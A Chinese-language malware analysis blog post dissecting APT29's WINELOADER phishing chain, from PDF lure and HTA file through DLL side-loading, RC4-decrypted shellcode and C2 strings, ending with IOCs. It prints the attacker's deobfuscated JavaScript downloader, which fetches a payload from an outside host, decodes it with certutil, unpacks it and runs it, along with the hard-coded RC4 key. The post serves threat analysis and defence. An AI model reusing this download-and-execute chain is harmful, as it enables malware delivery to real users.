APT29利用WINELOADER变种,针对多个国家外交等单位发起钓鱼攻击,样本逆向分析
qianlan 发表于 四川 技术文章 2010浏览 · 2024-04-23 04:32

一、前言

此次分析的样本来源于威胁情报渠道,样本被Zscaler首次发现于葡萄酒主题活动邀请的邮件附件,是针对印度、欧洲等国家的外交官发起的钓鱼攻击活动,所以将此样本被其命名为WINELOADER。此次鱼叉式攻击涉及的邮件附件相比作者以往见过的样本,执行链路长、新颖且完善,遂记录学习。

样本涉及多个阶段载荷和域名,涉及hta诱饵文件、js混淆、白加黑、dll劫持、特别的密文结构、多次RC4对称加解密等技术细节,并且其中一些域名网站为失陷的合法WordPress网站,被攻击者用于负载载荷。

二、背景

APT29,又名CozyBear, Nobelium, TheDukes,据信是俄罗斯有关的APT组织。该组织攻击活动可追溯至2008年,主要攻击目标包括西方政府组织机构,近年也活跃在俄乌战场中。

三、攻击链概述

攻击链流程如下(偷个懒)。

  • 初始pdf中包含恶意链接,访问、下载压缩包文件。
  • 压缩包文件中包含”.hta“文件,其中包含恶意的、经过混淆的恶意js代码。
  • js代码执行下载后续压缩包载荷,并且解压、执行其中的文件。
  • 文件中包含白exe文件,以及被攻击者精心构造的恶意dll文件,dll文件也是WINELOADER主体的加载器。
  • dll中的恶意代码执行,会继续下载后续载荷,但是目前C2已经失效,猜测可能是类似cobalt strike的分段载荷。
    # 四、样本执行链路分析
    ## 4.1 诱饵pdf文件分析
    钓鱼邮件包含pdf附件,文档内容被精心构造为不同的主题,常见于有针对性目标的邀请函等,诱饵文档中包含恶意链接。

PDF邀请中的恶意链接将用户重定向至受感染的网站。

hxxps://seeceafcleaners[.]co[.]uk/wine.php
hxxps://passatempobasico.com.br/wine.php
hxxps://waterforvoiceless[.]org/invite.php

访问链接受害者将下载包含恶意HTA文件的压缩包存档。

4.2 “.hta”恶意文件分析

.hta 文件是一种 HTML 应用程序(HTML Application)的文件类型,它允许使用 HTML、JavaScript和VBScript创建一个本地的Windows应用程序。这种文件类型通常被用于创建简单的 Windows 界面或者执行一些系统管理任务。攻击者也可以有目的编写JavaScript和VBScript做恶意用途。

“.hta”文件执行后,会展示与诱饵pdf主题配套的html界面迷惑用户,同时会执行包含在其中的恶意JavaScript。

格式化经过混淆的JavaScript下载器。

经调试获取外连URL。

hxxps://waterforvoiceless.org/util.php
hxxps://seeceafcleaners[.]co[.]uk/cert.php

脚本详细功能如下。

  • 向url “hxxps://waterforvoiceless.org/util.php 发送get请求,下载Base64编码的文本文件
  • 若响应状态码为200,则读取响应内容,写入文件“C:\Windows\Tasks\invite.txt”中。
  • 调用certutil指令解码,将文本文件解码为压缩包文件“C:\Windows\Tasks\invite.zip”
  • 延时3秒,调用tar指令,解压压缩包文件。压缩包中包含“SqlDumper.exe”和“vcruntime140.dll”。vcruntime140.dll是攻击者制作的恶意DLL,在执行sqlwriter.exe时会自动加载。
  • 延时3秒,执行文件"C:\Windows\Tasks\SqlDumper.exe"。

经过格式化和解除混淆完整JavaScript代码如下。

var a = new ActiveXObject("Wscript.Shell");  //创建了一个 WScript Shell 对象,常用于执行系统命令。
function Ijdaskjw(url) {
  var HttpRequest = new XMLHttpRequest();//创建XMLHttpRequest 对象,用于发起 HTTP 请求。
  HttpRequest.onreadystatechange = function () {
    if (HttpRequest.readyState == 0x4 && HttpRequest.status == 0xc8) {//若响应状态码200
      var httpResposneText = HttpRequest.response;//读取响应内容
      var FILE = new ActiveXObject("Scripting.FileSystemObject");//创建FileSystemObject对象,用于文件系统操作
      //创建文本文件,写入响应内容
      var fileDeal = FILE.OpenTextFile("C:\\Windows\\Tasks\\invite.txt", 0x2, true, 0x0);
      fileDeal.Write(httpResposneText);
      fileDeal.close();
      //调用certutil解码 ,文本文件转压缩文件
      a.Run("certutil -decode C:\\Windows\\Tasks\\invite.txt C:\\Windows\\Tasks\\invite.zip", 0x0);
      //延时3秒
      var _0x245d53 = Date.now();
      var _0x3f9f72 = null;
      do {
        _0x3f9f72 = Date.now();
      } while (_0x3f9f72 - _0x245d53 < 0xbb8);
      //调用tar指令解压invite.zip文件
      a.Run("tar -xf C:\\Windows\\Tasks\\invite.zip -C C:\\Windows\\Tasks\\ ", 0x0);
      //延时3秒
      var _0x245d53 = Date.now();
      var _0x3f9f72 = null;
      do {
        _0x3f9f72 = Date.now();
      } while (_0x3f9f72 - _0x245d53 < 0xdac);
      //执行文件
      a.Run("C:\\Windows\\Tasks\\SqlDumper.exe", 0x0);
    }
  };

  //发送请求
  HttpRequest.open("GET", url, true);//"https://waterforvoiceless.org/util.php"
  HttpRequest.send(null);
}

Ijdaskjw("hxxps://waterforvoiceless.org/util.php");

4.3 wineloader

4.3.1 白加黑加载恶意代码

执行sqlwriter.exe时,将使用侧加载技术从当前路径加载名为vcruntime140.dll的恶意DLL,其中包含shellcode解密代码。

其中sqlwriter.exe为拥有微软签名的白名单文件,应用于开发Microsoft SQLServer的相关组件。

其中vcruntime140.dll是被攻击者精心构造的劫持DLL,恶意代码位于导出函数“memset”中。

另一个同类型样本恶意代码位于导出函数“_set_se_translator”中。

4.3.2 shellcode解密

将RIP断于恶意代码位置。

shellcode使用RC4解密,密文长度0x8028,解密前后如下。

rc4密钥硬编码在样本中,位置位于恶意导出函数之后。

rc4首次解密 KEY
6712D5F2B61FC72CCD7E4817C4C152689F01772DC4FBD27151308F3CCE01DB266D3FADE4588A4B87148ABCCD34AA6CC268173504C03D3D911040C3C6310C7271A8C5CEB9F26289F3CD366065A72B43752203689DA5C2A6DA4C748D96B256316F515971A18A3EB29B2482013C17B69062AD92FEF4265774741CF931EE4813177C249422ED603C3E35B10645488DAE3A886DE4C13C9EF37D1EC15E1948603CD5A2E48CD39CB8548E211BC5AA9F6A93388618565C725D0758F13EA643E42CFC6F1116D573925B4005E6C1888BA9A7A365842744BC7D862CB08B5D0F24650E9954F90D4417A4FDA7E1651C5F4EFE75825BC6BCF995A6D37E5AD6FBDE9972E0D60768

初次解密后还不是最终明文,开发者还精心构造了RC4密文字段(key与首次解密一致),密文包括关键的winapi、字符、配置信息等。

下图展示了密文结构,头部3个字节为C2轮询间隔,偏移0x20为rc4_KEY,后续则为密文长度+密文。

提取到关键的http字段url、useragent

  • siestakeying[.]com/auth[.]php
  • castechtools[.]com/api[.]php
  • Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
  • POST

全解密字符如下,结构 ”明文: 密文“

dll:  50FD86E448
ProcessPrng:  2EEB85EB2D08F07A43EAAF62
ExitThread:  3BE183FC1C13F14F50E0C8
VirtualProtect:  28F098FC3D1AEF7A43EBBC07CF3095000E
\*.dll:  2299C088667BE72A5D84A462AC44
FindFirstFileW:  38F084EC0E12F15945C2A10EC913950016
user32.dll:  0B9999882D7BF12A0284FA628244F1F78B3AD12F729
rpcrt4.dll:  0C999A882B7BF12A4584FC628244F1F78B3AD12F729
bcryptprimitives.dll:  1C9989883A7BFA2A4184BC62DC44E7F78E3AD02F1B90DDDBE0048D0131C5FEF8B12535223C2E8C38D162
kernelbase.dll:  15998F883A7BED2A5484A462CE44F4F7943AD82F5C90CDDBE504970154C5
ole32.dll:  119986882D7BB02A0384E662C844F9F78B3ABD2F
mscoree.dll:  139999882B7BEC2A4384AD62C944BBF7833AD12F1E90A9DB14
GetSystemDirectoryW:  39FC9EDB3108F74F5CC0A110C927E1989543EA2F
ReadFile:  2CFC8BEC0E12EF4F31
text:  50ED8FF03C7B
SetFilePointer:  2DFC9ECE2117E67A5EEDA616C93695001
NtòruateSection:  30ED18FA3D1AF74F62E1AB16C52BFBF713
NtMapViewOfSection:  30EDA7E9382DEA4F46CBAE31C927E19E8854BD
FindNextFileW:  38F084EC061EFB5E77EDA407FB44
FindClose:  38F084EC0B17EC595484
InternetOpenW:  37F79EED3A15E65E7EF4AD0CFB44
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36.:  33998588327BEA2A5D84A462CD44BAF7D23A932F429089DBA104AC013DC5E3F8FB253E22272E9338F162D7C15E288721BD8E2E2575B6DCF92715F6B392FAB421455C58A11F864F57A729B24B6FD57A86366E97E612CCD8E1B0F235D2B0278D48405BFB8F204A63D39C252CCA1DCA50DB5B7A805600BAB54FEB40048B3F0BE8166C8FD4AD951AC8A2FB7B1394436185824D840A2A1DC1A62E6AFE5296F45820B0D37D91E854681FE195A92A3954CD7F28F0DBDB356E483294ECF7F142713ADAC1699E605A609F7B20BB518C14E0AF1C5D6B29CA0BDE1E213D93EB692C33D7B504725F1245E990D91E3801
InternetConnectW:  37F79EED3A15E65E72EBA60CC927E1A0E7
siestakeying.com:  0D9983882D7BF02A4584A962C744F0F79E3AD42F1C90CEDBA70498013BC5E0F89F25
HttpOpenRequestW:  36ED9EF8070BE64463E1B917C937E1A0E7
/auth.php:  51998B883D7BF72A5984E662DC44FDF7973ABD2F
InternetQueryOptionW:  37F79EED3A15E65E60F1AD10D50BE5838E55D37872
InternetSetOptionW:  37F79EED3A15E65E62E1BC2DDC30FC98896DBD
HttpSendRequestW:  36ED9EF81B1EED4E63E1B917C937E1A0E7
HttpQueryInfoW:  36ED9EF8190EE65848CDA604C31395000E
StrToInt64ExW:  2DED98DC2732ED5E07B08D1AFB44
shlwapi.dll:  0D998288247BF42A5084B862C544BBF7833AD12F1E90A9DB11
InternetReadFile:  37F79EED3A15E65E63E1A906EA2DF992E7
InternetCloseHandle:  37F79EED3A15E65E72E8A711C90CF4998356D82F
wininet.dll:  09998388267BEA2A5F84AD62D844BBF7833AD12F1E90A9DB15
GetAdaptersAddresses:  39FC9EC92C1AF35E54F6BB23C820E7929449D85C72
iphlpapi.dll:  17999A88207BEF2A4184A962DC44FCF7C93AD92F1E90C5DB8904
OpenProcessToken:  31E98FE61809EC4954F7BB36C32FF099E7
GetTokenInformation:  39FC9EDC2710E64478EAAE0DDE29F4838E55D32F
???:  A10558AA2009DD1231
GetUserNameW:  39FC9EDD3B1EF16450E9AD35AC
Advapi32.dll:  3F998E883E7BE22A4184A1629F44A7F7C93AD92F1E90C5DB8904
GetComputerNameW:  39FC9ECB2716F35F45E1BA2CCD29F0A0E7
POST:  2E99A5881B7BD72A3184
CreateThread:  3DEB8FE93C1ED74243E1A906AC
\\.\pipe\:  2299B688667BDF2A4184A162DC44F0F7BB3ABD2F
GetCurrentProcessId:  39FC9ECB3D09F14F5FF09810C327F0849473D92F
CreateNamedPipeW:  3DEB8FE93C1ECD4B5CE1AC32C534F0A0E7
_open_osfhandle:  21F69AED2624EC5957ECA90CC828F0F73E
api-ms-win-crt-math-l1-1-0.dll:  1F999A88217BAE2A5C84BB628144E2F78E3AD32F5F90CADBFB048F0179C5E0F8FE252522382ECD38BD62A8C127289621A18E2E2575B688F97015BAB3C5FA
_dup2:  21FD9FF87A7B
__acrt_iob_func:  21C68BEB3A0FDC435EE69704D92AF6F74
api-ms-win-crt-stdio-l1-1-0.dll:  01F999A88217BAE2A5C84BB628144E2F78E3AD32F5F90CADBFB048F0179C5FEF8EB253522392E8F38FC62F5C13B288A21BD8E33256BB6C2F97815BAB3A9FADD210C
CreateFileW:  3DEB8FE93C1EC5435DE19F62
CreateFileMappingW:  3DEB8FE93C1EC5435DE18503DC34FC99806DBD
OpenFileMappingW:  31E98FE60E12EF4F7CE5B812C52AF2A0E7
MapViewOfFile:  33F89ADE211EF46557C2A10EC944
UnmapViewOfFile:  2BF787E9382DEA4F46CBAE24C528F0F70C
CloseHandle:  3DF585FB2D33E24455E8AD62
FreeConsole:  38EB8FED0B14ED595EE8AD62
Updated agent:  2B999A882C7BE22A4584AD62C844B5F7863ADA2F1790C7DBFD04FB01
089989883A7BF62A5F84BC62C544F8F7823A8C2F469099DBA7049F0138C5E1F89F25
HeapAlloc:  36FC8BF80917EF455284
HeapFree:  36FC8BF80E09E64F31
GetProcessHeap:  39FC9ED83A14E04F42F78007CD34950015
NtUnmapViewOfSection:  30EDBFE6251AF37C58E1BF2DCA17F0949353D24172
ntdll.dll:  10999E882C7BEF2A5D84E662C844F9F78B3ABD2F
GetCurrentProcess:  39FC9ECB3D09F14F5FF09810C327F084943A
Sleep:  2DF58FED387B
LoadLibraryW:  32F68BEC0412E15850F6B135AC
kernel32.dll:  15998F883A7BED2A5484A4629F44A7F7C93AD92F1E90C5DB8904
??:  00C2BCDD65

在解密了代码分析所必需的所有关键API和字符串后,此加载程序的将向C2服务器url(siestakeying[.]com/auth[.]php)发起 HTTP POST请求,继续下载其他组件或其他恶意软件,以在受感染的主机上进一步执行恶意操作。

但是现在所有C2 URL都已经失效,zscaler貌似在早期捕获了后续载荷并公布了hash,但是此次分析的样本是一个变种,目前还没有途径可以获取样本。

所以分析就到此为止了。


感谢你的阅读~

附录IOC

  • pdf邮件附件
    30a762f747ba9432673b8b94066b270a
    6e1b219fc0db106ff3a6e982fb7b9241
    fb6323c19d3399ba94ecd391f7e35a9c
  • 包含hta文件的压缩包文件
    7a465344a58a6c67d5a733a815ef4cb7
  • 恶意hta文件
    9e07a9b8dd3ae5e360cfacc20bd1ec38
    efafcd00b9157b4146506bd381326f39
  • 包含黑白文件的压缩包
    5928907c41368d6e87dc3e4e4be30e42
  • vcruntime140.dll(WINELOADER核心模块加载器)
    7961263963841010a049265956b14666
    8bd528d2b828c9289d9063eba2dc6aa0
    e017bfc36e387e8c3e7a338782805dde

  • url
    hxxps://seeceafcleaners[.]co[.]uk/wine.php
    hxxps://seeceafcleaners[.]co[.]uk/cert.php
    hxxps://passatempobasico.com[.]br/wine.php
    hxxps://waterforvoiceless[.]org/invite.php
    hxxps://waterforvoiceless[.]org/util.php
    hxxps://castechtools[.]com/api[.]php
    hxxps://siestakeying[.]com/auth[.]php

0 条评论
某人
表情
可输入 255